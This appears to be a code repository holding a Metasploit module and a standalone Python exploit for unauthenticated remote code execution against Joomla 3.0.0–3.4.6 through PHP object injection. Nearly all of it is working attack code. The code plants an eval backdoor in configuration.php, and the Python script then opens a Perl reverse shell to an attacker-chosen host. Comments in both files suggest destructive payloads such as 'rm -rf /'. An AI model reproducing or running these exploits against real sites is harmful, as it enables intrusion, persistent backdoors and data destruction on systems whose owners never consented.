├── README.md ├── metasploit_rusty_joomla_rce.rb └── rusty_joomla_exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # Rusty Joomla RCE 2 | ## Details 3 | You can find technical details here: https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution 4 | -------------------------------------------------------------------------------- /metasploit_rusty_joomla_rce.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Exploit::Remote 7 | Rank = ExcellentRanking 8 | 9 | include Msf::Exploit::Remote::HTTP::Joomla 10 | 11 | def initialize(info = {}) 12 | super(update_info(info, 13 | 'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution', 14 | 'Description' => %q{ 15 | PHP Object Injection because of a downsize in the read/write process with the database leads to RCE. 16 | The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter. 17 | That's because the exploit is more reliabale (doesn't rely on common disabled function). 18 | For this reason, use it with caution and remember the house cleaning. 19 | Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with 20 | get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy 21 | }, 22 | 'Author' => 23 | [ 24 | 'Alessandro \'kiks\' Groppo @Hacktive Security', 25 | ], 26 | 'License' => MSF_LICENSE, 27 | 'References' => 28 | [ 29 | ['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41'], 30 | ['URL', 'https://github.com/kiks7/rusty_joomla_rce'] 31 | ], 32 | 'Privileged' => false, 33 | 'Platform' => 'PHP', 34 | 'Arch' => ARCH_PHP, 35 | 'Targets' => [['Joomla 3.0.0 - 3.4.6', {}]], 36 | 'DisclosureDate' => 'Oct 02 2019', 37 | 'DefaultTarget' => 0) 38 | ) 39 | 40 | register_advanced_options( 41 | [ 42 | OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), 43 | ]) 44 | end 45 | 46 | def get_random_string(length=50) 47 | source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a 48 | key="" 49 | length.times{ key += source[rand(source.size)].to_s } 50 | return key 51 | end 52 | 53 | def get_session_token 54 | # Get session token from cookies 55 | vprint_status('Getting Session Token') 56 | res = send_request_cgi({ 57 | 'method' => 'GET', 58 | 'uri' => normalize_uri(target_uri.path) 59 | }) 60 | 61 | cook = res.headers['Set-Cookie'].split(';')[0] 62 | vprint_status('Session cookie: ' + cook) 63 | return cook 64 | end 65 | 66 | def get_csrf_token(sess_cookie) 67 | vprint_status('Getting CSRF Token') 68 | 69 | res = send_request_cgi({ 70 | 'method' => 'GET', 71 | 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 72 | 'headers' => { 73 | 'Cookie' => sess_cookie, 74 | } 75 | }) 76 | 77 | html = res.get_html_document 78 | input_field = html.at('//form').xpath('//input')[-1] 79 | token = input_field.to_s.split(' ')[2] 80 | token = token.gsub('name="','').gsub('"','') 81 | if token then 82 | vprint_status('CSRF Token: ' + token) 83 | return token 84 | end 85 | print_error('Cannot get the CSRF Token ..') 86 | 87 | end 88 | 89 | def get_payload(function, payload) 90 | # @function: The PHP Function 91 | # @payload: The payload for the call 92 | template = 's:11:"maonnalezzo";O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 93 | # The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values 94 | payload = 'http://l4m3rz.l337/;' + payload 95 | final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s) 96 | return final 97 | end 98 | 99 | 100 | def get_payload_backdoor(param_name) 101 | # return the backdoor payload 102 | # or better, the payload that will inject and eval function in configuration.php (in the root) 103 | # As said in other part of the code. we cannot create new .php file because we cannot use 104 | # the ? character because of the check on URI schema 105 | function = 'assert' 106 | template = 's:11:"maonnalezzo";O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 107 | # This payload will append an eval() at the end of the configuration file 108 | payload = "file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';" 109 | template['PAYLOAD'] = payload 110 | template['LENGTH'] = payload.length.to_s 111 | template['FUNC_NAME'] = function 112 | template['FUNC_LEN'] = function.length.to_s 113 | return template 114 | 115 | end 116 | 117 | 118 | def check_by_exploiting 119 | # Check that is vulnerable by exploiting it and try to inject a printr('something') 120 | # Get the Session anb CidSRF Tokens 121 | sess_token = get_session_token() 122 | csrf_token = get_csrf_token(sess_token) 123 | 124 | print_status('Testing with a POC object payload') 125 | 126 | username_payload = '\\0\\0\\0' * 9 127 | password_payload = 'AAA";' # close the prev object 128 | password_payload += get_payload('print_r','IAMSODAMNVULNERABLE') # actual payload 129 | password_payload += 's:6:"return":s:102:' # close cleanly the object 130 | res = send_request_cgi({ 131 | 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 132 | 'method' => 'POST', 133 | 'headers' => 134 | { 135 | 'Cookie' => sess_token, 136 | }, 137 | 'vars_post' => { 138 | 'username' => username_payload, 139 | 'password' => password_payload, 140 | 'option' => 'com_users', 141 | 'task' => 'user.login', 142 | csrf_token => '1', 143 | } 144 | }) 145 | # Redirect in order to retrieve the output 146 | if res.redirection then 147 | res_redirect = send_request_cgi({ 148 | 'method' => 'GET', 149 | 'uri' => res.redirection.to_s, 150 | 'headers' =>{ 151 | 'Cookie' => sess_token 152 | } 153 | }) 154 | 155 | if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then 156 | return true 157 | else 158 | return false 159 | end 160 | 161 | end 162 | end 163 | 164 | def check 165 | # Check if the target is UP and get the current version running by info leak 166 | res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')}) 167 | unless res 168 | print_error("Connection timed out") 169 | return Exploit::CheckCode::Unknown 170 | end 171 | 172 | # Parse XML to get the version 173 | if res.code == 200 then 174 | xml = res.get_xml_document 175 | version = xml.at('version').text 176 | print_status('Identified version ' + version) 177 | if version <= '3.4.6' and version >= '3.0.0' then 178 | if check_by_exploiting() 179 | return Exploit::CheckCode::Vulnerable 180 | else 181 | if check_by_exploiting() then 182 | # Try the POC 2 times. 183 | return Exploit::CheckCode::Vulnerable 184 | else 185 | return Exploit::CheckCode::Safe 186 | end 187 | end 188 | else 189 | return Exploit::CheckCode::Safe 190 | end 191 | else 192 | print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable') 193 | if check_by_exploiting() then 194 | return Exploit::CheckCode::Vulnerable 195 | else 196 | if check_by_exploiting() then 197 | return Exploit::CheckCode::Vulnerable 198 | else 199 | return Exploit::CheckCode::Safe 200 | end 201 | end 202 | end 203 | end 204 | 205 | 206 | 207 | 208 | def exploit 209 | if check == Exploit::CheckCode::Safe && !datastore['FORCE'] 210 | print_error('Target is not vulnerable') 211 | return 212 | end 213 | 214 | 215 | pwned = false 216 | cmd_param_name = get_random_string(50) 217 | 218 | sess_token = get_session_token() 219 | csrf_token = get_csrf_token(sess_token) 220 | 221 | # In order to avoid problems with disabled functions 222 | # We are gonna append an eval() function at the end of the configuration.php file 223 | # This will not cause any problem to Joomla and is a good way to execute then PHP directly 224 | # cuz assert is toot annoying and with conditions that we have we cannot inject some characters 225 | # So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor 226 | # Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server. 227 | 228 | # TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file 229 | # Use the implanted backdoor to receive a nice little reverse shell with a PHP payload 230 | 231 | 232 | # Implant the backdoor 233 | vprint_status('Cooking the exploit ..') 234 | username_payload = '\\0\\0\\0' * 9 235 | password_payload = 'AAA";' # close the prev object 236 | password_payload += get_payload_backdoor(cmd_param_name) # actual payload 237 | password_payload += 's:6:"return":s:102:' # close cleanly the object 238 | 239 | print_status('Sending exploit ..') 240 | 241 | 242 | res = send_request_cgi({ 243 | 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 244 | 'method' => 'POST', 245 | 'headers' => { 246 | 'Cookie' => sess_token 247 | }, 248 | 'vars_post' => { 249 | 'username' => username_payload, 250 | 'password' => password_payload, 251 | 'option' => 'com_users', 252 | 'task' => 'user.login', 253 | csrf_token => '1' 254 | } 255 | }) 256 | 257 | print_status('Triggering the exploit ..') 258 | if res.redirection then 259 | res_redirect = send_request_cgi({ 260 | 'method' => 'GET', 261 | 'uri' => res.redirection.to_s, 262 | 'headers' =>{ 263 | 'Cookie' => sess_token 264 | } 265 | }) 266 | end 267 | 268 | # Ping the backdoor see if everything is ok :/ 269 | res = send_request_cgi({ 270 | 'method' => 'POST', 271 | 'uri' => normalize_uri(target_uri.path,'configuration.php'), 272 | 'vars_post' => { 273 | cmd_param_name => 'echo \'PWNED\';' 274 | } 275 | }) 276 | if res.to_s.include? 'PWNED' then 277 | print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST') 278 | 279 | print_status('Now it\'s time to reverse shell') 280 | res = send_request_cgi({ 281 | 'method' => 'POST', 282 | 'uri' => normalize_uri(target_uri.path,'configuration.php'), 283 | 'vars_post' => { 284 | cmd_param_name => payload.encoded 285 | } 286 | }) 287 | end 288 | 289 | end 290 | end 291 | -------------------------------------------------------------------------------- /rusty_joomla_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ## 3 | # Exploit Title: Rusty Joomla RCE 4 | # Google Dork: N/A 5 | # Date: 02/10/2019 6 | # Exploit Author: Alessandro Groppo @Hacktive Security 7 | # Vendor Homepage: https//www.joomla.it/ 8 | # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6 9 | # Version: 3.0.0 --> 3.4.6 10 | # Tested on: Joomla 3.1.0 3.2.0 3.3.0 3.4.6 3.4.5 (Linux env) 11 | # CVE : N/A 12 | # 13 | # Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41 14 | # Github: https://github.com/kiks7/rusty_joomla_rce 15 | # 16 | # The exploitation is implanting a backdoor in /configuration.php file in the root directory with an eval in order to be more suitable for all environments, but it is also more intrusive. 17 | # If you don't like this way, you can replace the get_backdoor_pay() with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /') 18 | # 19 | # 20 | # 21 | # 22 | ## 23 | 24 | import requests 25 | from bs4 import BeautifulSoup 26 | import sys 27 | import string 28 | import random 29 | import argparse 30 | from termcolor import colored 31 | 32 | PROXS = {'http':'127.0.0.1:8080'} 33 | PROXS = {} 34 | 35 | def random_string(stringLength): 36 | letters = string.ascii_lowercase 37 | return ''.join(random.choice(letters) for i in range(stringLength)) 38 | 39 | 40 | backdoor_param = random_string(50) 41 | 42 | def print_info(str): 43 | print(colored("[*] " + str,"cyan")) 44 | 45 | def print_ok(str): 46 | print(colored("[+] "+ str,"green")) 47 | 48 | def print_error(str): 49 | print(colored("[-] "+ str,"red")) 50 | sys.exit() 51 | 52 | def print_warning(str): 53 | print(colored("[!!] " + str,"yellow")) 54 | 55 | def get_token(url, cook): 56 | token = '' 57 | resp = requests.get(url, cookies=cook, proxies = PROXS) 58 | html = BeautifulSoup(resp.text,'html.parser') 59 | # csrf token is the last input 60 | 61 | for v in html.find_all('input'): 62 | csrf = v 63 | try: 64 | csrf = csrf.get('name') 65 | except Exception as ez: 66 | print_error('Error retrieving CSRF Token ..') 67 | return csrf 68 | 69 | 70 | def get_error(url, cook): 71 | resp = requests.get(url, cookies = cook, proxies = PROXS) 72 | if 'Failed to decode session object' in resp.text: 73 | 74 | return False 75 | return True 76 | 77 | def get_cook(url): 78 | resp = requests.get(url, proxies=PROXS) 79 | #print(resp.cookies) 80 | if len(resp.cookies) != 0: 81 | return resp.cookies 82 | print_error('Cannot retrieve Session Cookies ..') 83 | 84 | 85 | def gen_pay(function, command): 86 | # Generate the payload for call_user_func('FUNCTION','COMMAND') 87 | 88 | template = 's:11:"maonnalezzo";O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 89 | payload = 'http://l4m3rz.l337/;' + command 90 | function_len = len(function) 91 | final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) 92 | return final 93 | 94 | def make_req(url , object_payload): 95 | # just make a req with object 96 | print_info('Getting Session Cookie ..') 97 | cook = get_cook(url) 98 | print_info('Getting CSRF Token ..') 99 | csrf = get_token( url, cook) 100 | 101 | user_payload = '\\0\\0\\0' * 9 102 | padding = 'AAA' # It will land at this padding 103 | working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' 104 | clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects 105 | 106 | inj_object = '";' 107 | inj_object += object_payload 108 | inj_object += 's:6:"return";s:102:' # end the object with the 'return' part 109 | password_payload = padding + inj_object 110 | params = { 111 | 'username': user_payload, 112 | 'password': password_payload, 113 | 'option':'com_users', 114 | 'task':'user.login', 115 | csrf :'1' 116 | } 117 | 118 | print_info('Sending request ..') 119 | resp = requests.post(url, proxies = PROXS, cookies = cook,data=params) 120 | return resp.text 121 | 122 | def get_backdoor_pay(): 123 | # This payload will backdoor the the configuration .PHP with an eval on POST request 124 | 125 | function = 'assert' 126 | template = 's:11:"maonnalezzo";O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 127 | # payload = command + ' || $a=\'http://wtf\';' 128 | # Following payload will append an eval() at the enabled of the configuration file 129 | payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' 130 | function_len = len(function) 131 | final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) 132 | return final 133 | 134 | def check_joomla(url): 135 | # check if URI is 302/200 and not 404 136 | try: 137 | if requests.get(url).status_code != 404: 138 | return True 139 | return False 140 | except requests.exceptions.ConnectionError as ez: 141 | print_error('Connection problems') 142 | 143 | def check(url): 144 | # first check that the target URL is OK 145 | 146 | check_string = random_string(20) 147 | target_url = url + 'index.php/component/users' 148 | print_info('Target URL: ' + target_url) 149 | 150 | if check_joomla(target_url): 151 | html = make_req(url, gen_pay('print_r',check_string)) 152 | if check_string in html: 153 | return True 154 | else: 155 | return False 156 | else: 157 | print_error('It doesn\'t seems Joomla ...') 158 | 159 | def ping_backdoor(url,param_name): 160 | res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS) 161 | if 'PWNED' in res.text: 162 | return True 163 | return False 164 | 165 | def execute_backdoor(url, payload_code): 166 | # Execute PHP code from the backdoor 167 | res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) 168 | print(res.text) 169 | 170 | def exploit(url, lhost, lport): 171 | # Exploit the target 172 | # Default exploitation will append en eval function at the end of the configuration.pphp 173 | # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') 174 | # e.g. get_payload('system','rm -rf /') 175 | 176 | # First check that the backdoor has not been already implanted 177 | target_url = url + 'index.php/component/users' 178 | 179 | make_req(target_url, get_backdoor_pay()) 180 | if ping_backdoor(url, backdoor_param): 181 | print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) 182 | print_info('Now it\'s time to reverse, trying with a system + perl') 183 | execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');') 184 | 185 | 186 | if __name__ == '__main__': 187 | parser = argparse.ArgumentParser() 188 | parser.add_argument('-t','--target',required=True,help='Joomla Target') 189 | parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only') 190 | parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit') 191 | parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP') 192 | parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port') 193 | args = vars(parser.parse_args()) 194 | 195 | url = args['target'] 196 | print_info('Starting ..') 197 | if(check(url)): 198 | print_ok('Vulnerable') 199 | if args['exploit']: 200 | exploit(url, args['lhost'], args['lport']) 201 | else: 202 | print_info('Use --exploit to exploit it') 203 | 204 | else: 205 | print_error('Seems NOT Vulnerable ;/') 206 | --------------------------------------------------------------------------------